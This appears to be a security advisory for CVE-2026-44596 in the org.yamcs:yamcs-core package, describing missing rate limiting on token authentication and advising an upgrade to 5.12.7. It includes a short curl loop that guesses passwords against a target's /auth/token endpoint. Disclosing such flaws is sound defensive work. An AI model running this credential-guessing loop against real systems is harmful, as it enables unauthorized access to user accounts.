Brute Force Affecting org.yamcs:yamcs-core package, versions [,5.12.7)
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- published8 Jun 2026
- disclosed27 May 2026
- creditDaniel Miranda Barcelona
Introduced: 27 May 2026
NewCVE-2026-44596 (opens in a new tab)How to fix?
Upgrade org.yamcs:yamcs-core to version 5.12.7 or higher.
Overview
Affected versions of this package are vulnerable to Brute Force through the handleToken process. An attacker can gain unauthorized access to user accounts by performing unlimited authentication attempts without restriction.
PoC
# 20 attempts — zero rate limiting
for i in $(seq 1 20); do
curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
-X POST "http://TARGET:8090/auth/token" \
-d "grant_type=password&username=operator&password=operator12$i"
done
# All return HTTP 401 — no HTTP 429 ever